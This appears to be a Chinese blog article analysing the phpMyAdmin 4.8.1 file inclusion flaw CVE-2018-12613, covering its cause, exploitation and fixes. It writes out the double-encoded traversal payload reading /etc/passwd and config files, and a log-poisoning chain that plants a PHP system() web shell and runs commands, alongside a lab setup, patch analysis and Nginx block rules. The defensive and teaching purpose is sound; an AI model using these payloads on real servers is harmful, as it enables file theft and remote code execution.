当前位置：首页 > news >正文

CVE-2018-12613漏洞剖析：从文件包含到代码执行的攻防实战

news 2026/6/25 15:54:37

1. 项目概述：一次经典的Web应用安全攻防复盘

几年前，一个影响广泛的数据库管理工具漏洞在安全圈内引起了不小的波澜。phpMyAdmin 4.8.1版本中存在的文件包含漏洞，编号CVE-2018-12613，它不像那些需要复杂利用链的漏洞，其原理直接、利用路径清晰，却足以让攻击者从数据库管理界面“跳”到服务器文件系统，甚至执行任意代码。对于当时大量使用该版本进行MySQL管理的开发者和运维人员来说，这无疑是一个需要立刻拉响的警报。今天，我们就来彻底拆解这个漏洞，不仅要知道它“怎么用”，更要搞懂它“为什么存在”以及“如何从根本上防住”。无论你是负责应用安全的工程师、日常与phpMyAdmin打交道的开发者，还是对Web漏洞原理感兴趣的学习者，通过这次深入的复盘，你都能获得一套完整的分析、验证与加固思路。

2. 漏洞核心原理与触发条件深度剖析

2.1 漏洞的根源：`target`参数校验逻辑缺陷

要理解CVE-2018-12613，我们必须深入到phpMyAdmin的代码逻辑中去。漏洞的核心位于index.php文件中，具体是与页面重定向或加载相关的target参数处理环节。

在phpMyAdmin的设计中，target参数用于指定要加载的页面或脚本。例如，通过index.php?target=db_structure.php可以导航到数据库结构页面。为了防止目录遍历攻击（比如../../../etc/passwd），代码中确实包含了对target参数的过滤逻辑。然而，正是这个过滤逻辑存在一个致命的“白名单”绕过缺陷。

原始的、有问题的校验代码逻辑大致如下（已做简化表述）：

代码会检查target参数是否以index开头，如果是，则拒绝。
代码会使用Core::checkPageValidity()函数进行进一步校验。
该函数内部有一个预定义的白名单列表，包含了允许访问的合法页面文件名，如db_structure.php,sql.php等。
校验时，它会检查target参数的值是否出现在这个白名单中。

问题出在哪里呢？关键在于校验前，代码对target参数进行了一次urldecode()操作。攻击者可以利用这个特性进行“二次编码”攻击。

注意：这里提到的代码逻辑是基于漏洞分析报告和补丁对比的概括，旨在说明原理，并非直接的漏洞利用代码。

2.2 触发路径与利用场景还原

假设白名单里有一个合法的文件叫db_sql.php。正常的访问是：target=db_sql.php。

攻击者可以这样构造Payload：target=db_sql.php%253f/../../../../etc/passwd

我们来分解一下这个Payload的“魔法”：

%253f是?字符的二次URL编码。第一次编码是%3f，第二次编码将%编码为%25，所以变成了%253f。
当phpMyAdmin接收到这个参数时，首先会进行一次URL解码，将%253f解码为%3f。此时，参数值变为db_sql.php%3f/../../../../etc/passwd。
在某些版本的PHP配置或代码上下文环境中，%3f（即?）会被解释为查询字符串的分隔符。但关键在于，此时的校验逻辑可能只检查?之前的部分。
校验函数看到的是db_sql.php（因为?之后的部分被视为参数），而db_sql.php正好在白名单内！于是，校验通过。
校验通过后，这个字符串可能会被传递给如include或require等文件包含函数。此时，db_sql.php?后面的/../../../../etc/passwd就被拼接到了包含路径中。
最终，PHP尝试包含的文件路径可能是类似./db_sql.php/../../../../etc/passwd的形式。在操作系统中，db_sql.php被当作一个目录（虽然它是个文件），/..向上回退目录，最终定位到系统的/etc/passwd文件，导致本地文件内容被读取。

这个漏洞的触发需要两个关键条件：

版本特定：主要影响phpMyAdmin 4.8.0 ~ 4.8.1版本。其他版本可能因代码差异而不受影响。
配置与环境：需要PHP环境允许包含非PHP文件（如/etc/passwd），或者能通过包含日志、Session文件等途径向其中注入PHP代码，进而实现远程代码执行。服务器上的allow_url_include设置如果为On，则会大大增加风险，但该配置默认通常为Off。

2.3 与常见文件包含漏洞的异同

文件包含漏洞通常分为本地文件包含和远程文件包含。LFI允许包含服务器本地的文件，RFI则允许包含远程URL上的文件。CVE-2018-12613本质上是一个LFI漏洞。

它与最简单的LFI（如include($_GET[‘file’])）不同之处在于，它不是一个直接的、未过滤的参数传递，而是绕过一个看似存在的“白名单”防御机制。这提醒我们，安全校验的逻辑完整性至关重要，任何一环（如解码顺序、字符串解析）的疏忽都可能导致全线溃败。

3. 漏洞利用实战：从信息泄露到代码执行

理解了原理，我们来看看攻击者如何一步步利用这个漏洞。请注意，以下所有操作仅用于授权下的安全测试、教学研究或自我防护验证，任何未经授权的攻击行为都是违法的。

3.1 利用环境搭建与验证

为了安全地研究，我们可以在隔离环境（如虚拟机、Docker容器）中搭建靶场。

环境准备：使用Docker快速搭建一个包含漏洞版本的phpMyAdmin环境是最方便的方式。可以搜索历史镜像或使用特定Dockerfile构建。

# 示例Dockerfile思路 (需根据实际可用的源调整) FROM php:5.6-apache RUN apt-get update && apt-get install -y wget unzip \ && wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip \ && unzip phpMyAdmin-4.8.1-all-languages.zip \ && mv phpMyAdmin-4.8.1-all-languages /var/www/html/pma \ && chown -R www-data:www-data /var/www/html/pma

运行容器后，访问http://your-ip:port/pma即可。

漏洞验证：最简单的验证是尝试读取服务器上一个已知存在的文件，比如/etc/passwd（Linux）或C:\\Windows\\win.ini（Windows）。
- 构造URL：http://target-server/pma/index.php?target=db_sql.php%253f/../../../../etc/passwd
- 观察响应。如果页面上显示了/etc/passwd文件的内容（通常是用户列表），则证明漏洞存在。

3.2 利用漏洞获取Web目录路径

在实战中，直接读取/etc/passwd证明了漏洞存在，但攻击者往往需要知道Web应用的绝对路径，以便进行下一步操作，比如包含Web日志或Session文件。

读取PHP配置文件：尝试包含phpMyAdmin自身的配置文件config.inc.php，这里面可能包含数据库连接信息，有时也会暴露出绝对路径的线索。target=db_sql.php%253f/../../../../var/www/html/pma/config.inc.php
利用PHP错误信息：如果display_errors设置为On，可以尝试包含一个不存在的文件，或者构造一个错误的包含路径，PHP返回的错误信息中常常会包含完整的文件路径。target=db_sql.php%253f/./nonexistfile
读取进程信息：在Linux下，可以尝试包含/proc/self/environ文件。这个文件包含了当前PHP进程的环境变量，其中DOCUMENT_ROOT或SCRIPT_FILENAME等变量能直接给出Web路径。target=db_sql.php%253f/../../../../proc/self/environ
注意：读取/proc/self/environ需要相应的权限，且内容可能包含敏感信息。

3.3 升级到远程代码执行

仅读取文件危害有限，攻击者的终极目标是执行任意命令。这就需要将LFI转化为RCE。常见的手法是通过文件包含，将一段PHP代码写入一个能被包含的文件中，然后去包含它。

写入PHP代码到日志文件：这是最经典的LFI to RCE手法。
- 找到日志路径：Web服务器（如Apache, Nginx）的访问日志、错误日志路径通常是固定的，或可以通过包含配置文件得知。
- 污染日志：通过发送一个特殊的HTTP请求，将PHP代码作为请求的一部分写入日志文件。例如，访问一个不存在的页面，在User-Agent或请求URL中携带PHP代码：
```
GET /pma/<?php phpinfo();?> HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 ... <?php system($_GET[‘c’]);?>
```
- 包含日志文件：利用漏洞去包含这个被写入了PHP代码的日志文件。target=db_sql.php%253f/../../../../var/log/apache2/access.log
- 执行命令：如果包含成功，日志文件中的PHP代码会被执行。此时可以在URL中传递参数执行命令：&target=...access.log&c=id
利用PHP Session文件：如果攻击者能获取或预测到Session ID，可以向/tmp/sess_[sessionid]这样的Session文件中注入PHP代码，然后包含它。
利用其他可写文件：如/proc/self/fd/[数字]（文件描述符）、上传的临时文件（需要精确的时间竞争）等，但这些利用条件更为苛刻。

实操心得：在利用LFI进行RCE时，最大的挑战往往是找到那个“可写又可包含”的文件。Web日志是最常见的目标，但需要知道其确切路径且Web进程有读写权限。在实际测试中，多尝试几种可能性，并结合服务器返回的错误信息进行判断，是关键。

4. 漏洞修复与深度防御策略

漏洞的修复通常有两种方式：官方补丁和临时缓解措施。对于CVE-2018-12613，phpMyAdmin官方迅速发布了新版本。

4.1 官方补丁分析

官方在后续版本（4.8.2及以上）中修复了此漏洞。修复的核心是改进了Core::checkPageValidity()函数及其调用处的逻辑。

修复逻辑：补丁确保在对target参数进行白名单校验之前，先对其进行正确的解析，提取出真正的文件名部分，剥离掉可能的查询字符串和路径遍历符（..）。或者，更严格地，在解码后，对路径进行规范化处理，并确保最终解析出的文件名完全且精确地匹配白名单中的条目，不允许任何多余的字符（如?、/）出现在文件名之后。
升级建议：最直接、最根本的解决方案就是立即将phpMyAdmin升级到最新稳定版。对于历史版本，应至少升级到已修复该漏洞的版本（4.8.2+）。

4.2 临时缓解与加固措施

如果因为某些原因无法立即升级，可以采取以下临时加固措施：

访问控制：
- IP白名单：在Web服务器（如Nginx/Apache）层面，配置只允许受信任的IP地址或IP段访问phpMyAdmin目录（/pma）。
- HTTP认证：为phpMyAdmin目录添加一层额外的HTTP Basic认证。
- 更改访问路径：不要使用/phpmyadmin、/pma等常见路径，改为一个复杂、难以猜测的路径。
修改phpMyAdmin配置：
- 在config.inc.php中，可以尝试设置$cfg[‘AllowArbitraryServer’] = false;来限制连接任意服务器，但这并非针对此漏洞的直接防御。
- 更有效的是，如果业务不需要，可以完全禁用target参数功能。这需要修改phpMyAdmin源码，风险较高，不推荐非专业人员操作。
Web服务器配置：
- 在Nginx中，可以为phpMyAdmin的location块添加规则，直接拦截包含可疑字符（如多个..、%2e%2e、%252e等）的请求。
```
location ~ ^/pma { if ($query_string ~* "target.*%.*%") { return 403; } if ($query_string ~* "target.*\.\.") { return 403; } ... # 其他配置 }
```
- 在Apache中，可以使用mod_rewrite实现类似功能。
系统层加固：
- PHP配置：确保php.ini中allow_url_include和allow_url_fopen设置为Off。这是防止LFI转化为RFI的重要开关。
- 文件权限：以最小权限原则运行Web服务进程（如www-data用户）。确保Web目录下的文件权限设置正确，非必要文件不可写。
- 日志文件权限：将Web日志文件的权限设置为仅对root用户可写，对Web进程用户只读。这能有效防御通过污染日志文件进行的RCE攻击。

4.3 构建主动防御体系

针对此类注入型漏洞，我们不应只满足于修补一个点，而应建立体系化的防御思想。

输入验证与净化：对所有用户输入进行严格的、白名单式的验证。对于文件路径、文件名这类参数，应拒绝任何非字母数字和有限安全字符（如-,_,.）的输入。在php中，可以使用basename()、realpath()结合白名单进行严格校验。
安全的编码/解码顺序：在处理用户输入时，要明确编码、解码、校验、使用的顺序。最佳实践是：先进行规范化（如URL解码），然后立即进行严格的白名单校验，最后再使用校验后的安全值。避免在解码和校验之间插入任何可能改变字符串语义的操作。
最小权限原则：Web应用程序、数据库、系统服务都应运行在尽可能低的权限下。为phpMyAdmin使用独立的、权限受限的数据库用户。
纵深防御：不要依赖单一的安全措施。结合网络层（WAF、防火墙）、主机层（文件权限、SELinux/AppArmor）、应用层（代码安全、参数校验）进行多层防护。即使某一层被突破，其他层仍能提供保护。
安全开发生命周期：在代码编写阶段就引入安全评审，对文件操作、命令执行、数据库查询等高风险函数的使用进行重点审计。使用静态代码分析工具辅助排查潜在漏洞。